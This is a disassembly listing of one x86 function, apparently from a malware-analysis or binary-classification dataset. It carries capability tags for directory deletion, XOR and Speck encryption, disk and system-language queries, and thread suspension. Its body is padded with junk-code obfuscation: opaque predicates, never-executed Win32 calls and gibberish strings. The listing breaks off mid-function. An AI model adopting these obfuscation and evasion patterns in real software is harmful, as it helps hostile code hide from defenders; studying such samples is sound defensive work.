Function at 0x10027eca
Capabilities:
Delete directory
Encode data using xor
Encrypt data using speck
Get common file path
Get disk information
Identify system language via api
Suspend thread

Disassembly:
mov eax, 0x100595e9
call fcn.10058864
sub esp, 0x230
push ebx
mov dword [ebp - 0x1c], 0xffffffff
xor ebx, ebx
mov dword [ebp - 0x24], 0x3bfa32a1
push esi
mov dword [ebp - 0x24], 0x3531
push edi
mov dword [ebp - 0x24], 0xa13b2885
mov dword [ebp - 0x10], esp
mov dword [ebp - 0xcc], edx
mov dword [ebp - 0x94], ecx
mov dword [ebp - 0x154], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x10027f22
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x110], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10027f15
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 8
jle 0x10027f6b
mov dword [ebp - 0x20], 0xb96ca2cb
mov dword [ebp - 0x20], 0xffffffe3
jmp 0x10027f60
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], bl
je 0x10027f5d
push 0x4a3
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindow]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1b
jne 0x10027f47
inc dword [ebp - 0x1c]
jmp 0x10027f31
mov ecx, dword [ebp - 0x110]
xor edx, edx
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 0x10c]
setle dl
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x24]
add eax, 0xffffde5d
add ecx, eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], bl
je 0x10027fc3
push ebx
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFocusRect]
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x10027fd8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x188], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x10027fcb
mov dword [ebp - 0x24], 0x3ecd
cmp dword [ebp - 0x24], 0x4280
jle 0x10028015
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10072098
xor eax, esi
cdq
push edx
push eax
call fcn.10013ec4
inc edi
cmp edi, 0xf4d
jl 0x10027ff2
inc esi
cmp esi, 0x6090
jl 0x10027ff0
mov byte [ebp - 0x15], bl
mov dword [ebp - 4], 2
cmp dword [ebp - 0x24], 0x3cbb
jge 0x10028037
mov edx, str.skx_jsxap_oxyxsqpiu_tdrmyih_dzkdztc_ltghhe_klwlrn_veebixli_rlfetfpb_eqjlwjlf
mov ecx, 0x10072098
call fcn.1001684d
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x15], 0
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
je 0x1002805c
push ebx
push ebx
push 0x1606
push 0x1947
call edi
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
mov dword [ebp - 0x20], ebx
jmp 0x100280a5
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x1002809c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x188], 0xa9ef72d4
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002808b
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jle 0x10028083
push 6
pop eax
push 0x61
pop ecx
mov word [ebp - 0x7c], 0xd904
mov byte [ebp - 0x7a], al
mov dword [ebp - 0x79], 0x530013d
mov dword [ebp - 0x75], 0x2030200
mov dword [ebp - 0x71], 0xd036482
mov word [ebp - 0x6d], 0x2500
mov word [ebp - 0xfc], cx
mov dword [ebp - 0x20], 0x68ec0ae9
mov dword [ebp - 0x20], 0xffffffef
cmp dword [ebp - 0x20], 0x12
jle 0x1002823f
push 0xfffffffffffffffe
pop esi
jmp 0x100280fc
push 6
pop eax
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x24], 0x1d1b
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x1c], ebx
jmp 0x10028127
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x60], 0xd386
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x10028119
mov dword [ebp - 0x28], ebx
jmp 0x10028140
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x60], 0x53bc
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 1
jl 0x10028132
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], 0xffffffff
jne 0x1002822c
push 6
pop edi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x30], esi
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x60]
cmp eax, dword [ebp - 0x34]
jl 0x1002816a
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x60]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
cmp eax, 1
mov eax, dword [ebp - 0x24]
setl cl
sub eax, ecx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x24], ebx
je 0x100281a7
cmp dword [ebp - 0x2c], ebx
je 0x100281a7
xor edx, edx
inc edx
jmp 0x100281a9
mov edx, ebx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setge cl
cmp ecx, 0x6e289aa5
je 0x100281fe
mov dword [ebp - 0x30], esi
xor edx, edx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
cmp eax, 0xc840
setne dl
add edx, dword [ebp - 0x20]
sub edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
cmp edi, ecx
sbb eax, eax
xor ecx, ecx
neg eax
add eax, dword [ebp - 0x24]
test eax, eax
setg cl
add ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x20]
mov dword [ebp - 0x30], ecx
jmp 0x1002821f
mov dword [ebp - 0x30], ebx
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10028218
push 0x2552
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov dword [ebp - 0x30], 1
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffff
je 0x10028156
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x12
jg 0x100280f9
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10028259
push ebx
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1002826b
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
push 2
pop esi
mov ecx, ebx
cmp esi, 0xa
jne 0x100282c3
push 3
pop ecx
push 0xb
mov dword [ebp - 0x2c], 0x4564
cmp dword [ebp - 0x2c], 0x4707
pop esi
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x30], esi
jle 0x100282f2
mov edi, ebx
mov esi, ebx
mov eax, edi
mov ecx, 0x10072098
cdq
idiv esi
mov eax, edx
cdq
push edx
push eax
call fcn.10013ec4
inc esi
cmp esi, 0x259f
jl 0x10028295
inc edi
cmp edi, 0x5951
jl 0x10028293
mov esi, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x24]
jmp 0x100282f2
movzx edx, byte [ebp + esi - 0x7b]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x7e]
movzx ecx, word [ebp + eax*2 - 0x104]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x7c]
add ecx, edx
mov word [ebp + eax*2 - 0x104], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x11
jb 0x10028270
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [ebp - 0x3c], 0x9fe387fb
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10028344
push 0x231b
push ebx
push 0xdf2
push 0x237d
push 0x37e
push ebx
push 0x1173
push 0x1613
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawIconEx]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1002835a
push ebx
push 0x328
push ebx
call dword [sym.imp.ADVAPI32.dll_ControlService]
xor eax, eax
xor esi, esi
mov word [ebp - 0xf6], ax
inc esi
mov dword [ebp - 0x28], 0xf665683c
mov dword [ebp - 0x30], 0x8b166c19
mov dword [ebp - 0x30], 0x1f6f49c2
mov dword [ebp - 0x30], 0x8551b32e
mov dword [ebp - 0x2c], 0xfffffffc
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x3c], 0x20410224
push 6
mov dword [ebp - 0x3c], 0xae89405d
mov dword [ebp - 0x20], ebx
pop edi
cmp dword [ebp - 0x20], 3
jge 0x100283b5
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1ac], edi
inc dword [ebp - 0x20]
jmp 0x100283a0
mov dword [ebp - 0x20], ebx
jmp 0x100283c7
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x90], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x100283ba
cmp dword [ebp - 0x28], ebx
jne 0x100283fb
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x28]
mov edx, ebx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
cmp eax, 0xfffffff8
setle cl
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
je 0x100283fd
mov edx, esi
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
cmp ecx, 0xfff7
setne al
xor edx, edx
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
cmp ecx, eax
lea ecx, [ebp - 0x138]
setle dl
cmp edx, 0xfffffff8
sbb eax, eax
neg eax
imul eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
xor eax, eax
inc dword [ebp - 0x90]
mov word [ebp - 0x138], ax
lea eax, [ebp - 0x104]
push eax
mov dword [ebp - 0x124], 7
mov dword [ebp - 0x128], ebx
call fcn.10014735
mov dword [ebp - 4], edi
mov dword [ebp - 0x28], 0x4a0d
mov dword [ebp - 0x1c], 0xeb4c8f0d
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x34], 0x28dd
cmp dword [ebp - 0x34], 0x2c76
jle 0x10028502
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
mov eax, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov dword [ebp - 0x30], ebx
mov ecx, edi
mov dword [ebp - 0x20], ebx
sar eax, cl
mov edi, ebx
mov dword [ebp - 0x38], eax
mov ecx, edi
shl eax, cl
lea ecx, [ebp - 0x224]
cdq
push edx
push eax
call fcn.10001ade
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100284c2
mov eax, dword [eax]
push eax
call fcn.1004041f
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x224]
call fcn.10014649
mov eax, dword [ebp - 0x38]
inc edi
cmp edi, 0x1ea0
jl 0x100284a6
mov edi, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
inc edi
mov dword [ebp - 0x30], edi
cmp edi, 0x7d80
jl 0x1002849a
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x76a1
jl 0x10028495
push 6
pop edi
cmp dword [ebp - 0x34], 0x28a5
jge 0x10028516
push str.tcg_xbjsnpzfw_idhiskwy_hjniod_yjn_cwv
call fcn.1004041f
pop ecx
mov dword [ebp - 4], edi
mov dword [ebp - 0x24], 0x14a9c79e
mov dword [ebp - 0x20], ebx
jmp 0x10028536
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xc0], 0x4dcc80fc
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10028525
mov dword [ebp - 0x20], ebx
jmp 0x1002854e
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xc8], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10028541
cmp dword [ebp - 0x28], ebx
jne 0x1002855f
dec dword [ebp - 0xc8]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0xc4], ebx
je 0x10028574
mov ecx, esi
cmp dword [ebp - 0xb8], ebx
jne 0x10028576
mov ecx, ebx
mov eax, dword [ebp - 0xbc]
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setg dl
sub edx, dword [ebp - 0x28]
neg edx
sbb edx, edx
inc edx
add edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x2c]
neg edx
sbb edx, edx
inc edx
jne 0x100285a7
mov edx, esi
cmp dword [ebp - 0xb8], ebx
jne 0x100285a9
mov edx, ebx
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
setne cl
imul eax, ecx, 0x8009
xor ecx, ecx
cmp eax, 5
setle cl
add ecx, dword [ebp - 0x28]
mov dword [ebp - 0xb8], ecx
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], esi
jg 0x10028600
mov ecx, 0x6d9e96b
mov dword [ebp - 0x38], 0x2e7eb665
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xc0], ecx
mov eax, dword [ebp - 0x24]
inc dword [ebp - 0x24]
cmp eax, ecx
mov eax, esi
cmove eax, ebx
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], esi
jle 0x100285d7
mov eax, ebx
mov dword [ebp - 0x34], ebx
mov ecx, 0x2d5e48d3
cmp eax, 8
jae 0x1002874e
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0xac], ecx
mov dword [ebp - 0xa8], ecx
mov dword [ebp - 0x120], ebx
mov dword [ebp - 0x11c], ebx
mov dword [ebp - 0x118], ebx
mov dword [ebp - 0x114], ebx
mov dword [ebp - 0x2c], 0x1eb2391c
mov dword [ebp - 0x1c], ebx
jmp 0x10028660
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x190], 8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x1002864f
mov dword [ebp - 0xb4], ebx
cmp dword [ebp - 0xb4], 0xc
jle 0x10028738
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x3c], 0xf5f49900
mov dword [ebp - 0x30], 0x7206
cmp dword [ebp - 0x30], 0x723e
jle 0x100286f9
mov eax, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov ecx, edi
sar eax, cl
lea ecx, [ebp - 0x1f4]
cdq
push edx
push eax
call fcn.10001ade
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100286b6
mov eax, dword [eax]
push eax
call fcn.1004041f
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x1f4]
call fcn.10014649
mov eax, dword [ebp - 0x24]
inc edi
cmp edi, 0x5d71
jl 0x1002869a
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x4e1d
jl 0x10028698
push 0x14ae
push 0x1f47
push 0x6ee
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 6
pop edi
mov dword [ebp - 0x1c], ebx
jmp 0x1002870e
mov dword [ebp - 0x3c], 0x9a97
mov dword [ebp - 0x3c], ebx
inc dword [ebp - 0x2c]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x100286fe
cmp dword [ebp - 0x30], 0x6fc2
jge 0x10028727
push str.flwqjme_vkifree_bvgx_bgyopn_ibneuuu
call fcn.1004041f
pop ecx
mov dword [ebp - 4], edi
mov eax, dword [ebp - 0x1c]
inc dword [ebp - 0xb4]
jmp 0x1002866c
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov word [ebp + eax*2 - 0x104], cx
inc eax
mov dword [ebp - 0x34], eax
jmp 0x10028605
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x16c]
call fcn.10013fd9
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x2c], 0x28cb
mov dword [ebp - 0x30], 4
mov dword [ebp - 0x34], 0xa47b6c41
mov dword [ebp - 0x1c], ebx
jmp 0x10028792
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x44], 7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10028784
mov dword [ebp - 0x44], 0xfffffff2
jmp 0x1002884f
mov dword [ebp - 0x1c], 0x9f7fd1e8
mov dword [ebp - 0x28], 0x4145c174
mov dword [ebp - 0x20], 0xfffffff8
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x34], 5
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x1c]
jne 0x100287d9
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x44]
xor edx, edx
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setg dl
xor ebx, ebx
mov dword [ebp - 0x20], edx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setge bl
xor edx, edx
cmp ebx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp edx, eax
setg cl
xor ebx, ebx
cmp ecx, dword [ebp - 0x1c]
je 0x10028818
mov ecx, ebx
cmp dword [ebp - 0x2c], ebx
je 0x1002881a
mov ecx, esi
mov eax, dword [ebp - 0x1c]
add eax, ecx
cmp eax, edi
je 0x10028826
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x1c]
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0xc
jge 0x100287a3
mov dword [ebp - 0x30], 0x6a62
cmp dword [ebp - 0x30], 0x6c98
jle 0x10028896
mov edi, ebx
mov eax, ebx
mov dword [ebp - 0x2c], ebx
xor eax, edi
mov ecx, 0x10072098
cdq
push edx
push eax
call fcn.10013ec4
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x2eb4
jl 0x10028870
inc edi
cmp edi, 0x204f
jl 0x1002886b
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x100288ac
push ebx
push 0x127e
push ebx
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x30], 0x6787
jge 0x100288e9
mov edx, str.dkig_pwwf_irfiid_sjbcp_kvyndjl_fdqpp_jgtg_imvlz_tutbysv
mov ecx, 0x10072098
call fcn.1001684d
jmp 0x100288e9
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x20], 0xfffffffa
mov dword [ebp - 0x3c], 0xffffffff
mov dword [ebp - 0x3c], 0xc266d8ff
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setg dl
imul edx, dword [ebp - 0x20]
sub edx, 0x81a7ecc2
neg edx
sbb edx, edx
xor eax, eax
inc edx
imul edx, dword [ebp - 0x20]
cmp edx, 0xe752
setl al
sub eax, 0x31b4f528
je 0x10028949
mov eax, esi
cmp dword [ebp - 0x20], ebx
jne 0x1002894b
mov eax, ebx
neg eax
sub eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, 0xd73d
mov eax, dword [ebp - 0x20]
setne dl
xor ecx, ecx
cmp eax, edx
setle cl
cmp ecx, dword [ebp - 0x20]
jne 0x10028981
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1002899a
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
jmp 0x1002899a
mov dword [ebp - 0x2c], 0x162c5d17
inc dword [ebp - 0x2c]
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1002899a
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
mov dword [ebp - 0x1c], 0x52
cmp dword [ebp - 0x1c], 0x304
jle 0x10028a30
mov eax, ebx
mov dword [ebp - 0x30], ebx
mov edx, eax
mov dword [ebp - 0x2c], 0x56b6
mov dword [ebp - 0x24], edx
mov eax, ebx
mov dword [ebp - 0x34], ebx
mov edi, ebx
mov ecx, edi
shl eax, cl
lea ecx, [ebp - 0x1c4]
and eax, edx
cdq
push edx
push eax
call fcn.10001ade
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100289e4
mov eax, dword [eax]
push eax
call fcn.1004041f
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x1c4]
call fcn.10014649
mov eax, dword [ebp - 0x34]
inc edi
mov edx, dword [ebp - 0x24]
cmp edi, 0x276b
jl 0x100289c6
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 0x6370
jl 0x100289c4
dec edx
dec dword [ebp - 0x2c]
mov dword [ebp - 0x24], edx
jne 0x100289bf
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 0x7d2c
jl 0x100289b3
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantClear]
cmp dword [ebp - 0x1c], 0xfffffdfc
mov dword [ebp - 0x50], 0x8902bf00
mov byte [ebp - 0x4c], 0xf4
jge 0x10028a4f
push str.nqtw_kzrfvnylf_myoai_meay_sjiew_ryufrxv_cdjav_mzoffgfu_rlqs
call fcn.1004041f
pop ecx
mov dword [ebp - 4], 0xb
push 0x5c
pop eax
mov word [ebp - 0x58], ax
mov dword [ebp - 0x1c], 0xf5a9c4c8
mov dword [ebp - 0x24], 0xfffffffd
mov dword [ebp - 0x2c], 0xec3203bd
mov dword [ebp - 0x38], 0xfad5befa
mov dword [ebp - 0x2c], 0xca7b5cf1
mov dword [ebp - 0x2c], 0x39e
mov dword [ebp - 0x2c], 0x5bb08661
push 4
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x20], ebx
pop ecx
jmp 0x10028aa6
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1a0], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x10028a99
cmp dword [ebp - 0x24], ebx
je 0x10028ab7
mov edx, esi
cmp dword [ebp - 0x1c], ebx
jne 0x10028ab9
mov edx, ebx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
push 0xfffffffffffffffa
pop ecx
sub ecx, eax
mov dword [ebp - 0x38], ecx
mov ecx, ebx
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1a0], 0xffffffff
mov dword [ebp - 0x2c], ebx
mov eax, dword [ebp - 0x2c]
push 2
mov dword [ebp - 0x38], eax
pop edi
mov dword [ebp - 0x28], edi
cmp edi, 5
jae 0x10028c66
movzx eax, byte [ebp - 0x50]
lea eax, [eax*2 + 2]
cmp edi, eax
jne 0x10028b2e
movzx eax, byte [ebp + edi - 0x50]
dec edi
add edi, eax
lea ecx, [eax + 1]
jmp 0x10028c5e
movzx edx, byte [ebp + edi - 0x4f]
mov eax, edi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x52]
movzx eax, word [ebp + eax*2 - 0x58]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + edi - 0x50]
mov word [ebp + eax*2 - 0x58], cx
mov dword [ebp - 0x1c], 0x7632667a
mov dword [ebp - 0x1c], ebx
jmp 0x10028b70
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x17c], 0xfffffff7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10028b5f
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 3
jg 0x10028c59
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x17c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x17c], ecx
mov dword [ebp - 0x20], 0x6ea0
cmp dword [ebp - 0x20], 0x6f78
jle 0x10028c1f
mov ecx, ebx
mov dword [ebp - 0x24], ebx
mov eax, ebx
mov dword [ebp - 0x34], ebx
mov edi, ebx
add eax, edi
mov dword [ebp - 0x30], 0xa2f
add eax, ecx
mov dword [ebp - 0x2c], eax
cdq
lea ecx, [ebp - 0x1dc]
push edx
push eax
call fcn.10001ade
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10028bd9
mov eax, dword [eax]
push eax
call fcn.1004041f
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x1dc]
call fcn.10014649
mov eax, dword [ebp - 0x2c]
dec eax
dec dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
jne 0x10028bc1
mov eax, dword [ebp - 0x34]
inc edi
mov ecx, dword [ebp - 0x24]
cmp edi, 0x550a
jl 0x10028bb3
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 0x3a4c
jl 0x10028bb1
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x4566
jl 0x10028bac
mov byte [ebp - 0x15], bl
cmp dword [ebp - 0x20], 0x6ad6
jge 0x10028c36
push str.ybtdcmf_udvi_glfbecury_wsow_jccifvkcc_shrzj_cvmoa_cotovckx_igvlddyn_erz_uzuz_ntpxw
call fcn.1004041f
pop ecx
mov dword [ebp - 4], 0xb
cmp byte [ebp - 0x15], 0
je 0x10028c51
push ebx
push esi
push 0x172b
push ebx
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
inc dword [ebp - 0x1c]
jmp 0x10028b79
mov edi, dword [ebp - 0x28]
mov ecx, ebx
add edi, 2
jmp 0x10028b03
xor eax, eax
mov word [ebp - 0x56], ax
mov dword [ebp - 0x1c], 0xfffffffc
mov dword [ebp - 0x28], 0xea4d
mov dword [ebp - 0x34], 0xbc22
mov dword [ebp - 0x24], 0xfffffff8
mov dword [ebp - 0x38], 0x19ff40b3
mov dword [ebp - 0x20], ebx
jmp 0x10028ca5
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xa4], 0x6fda0246
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10028c94
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0xa0], 0xbc35
jle 0x10028cc6
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
sub ecx, 0x7b2415fb
cmp ecx, eax
mov eax, dword [ebp - 0x98]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x9c]
setge bl
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x28]
setne cl
xor edx, edx
shl ecx, 2
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0xa0]
setne cl
xor ebx, ebx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setg bl
xor edx, edx
cmp ebx, eax
mov eax, dword [ebp - 0xa0]
setle dl
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setle dl
xor ebx, ebx
cmp edx, dword [ebp - 0xa0]
jne 0x10028ee2
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], bl
je 0x10028d61
push 0x11cb
push ebx
push ebx
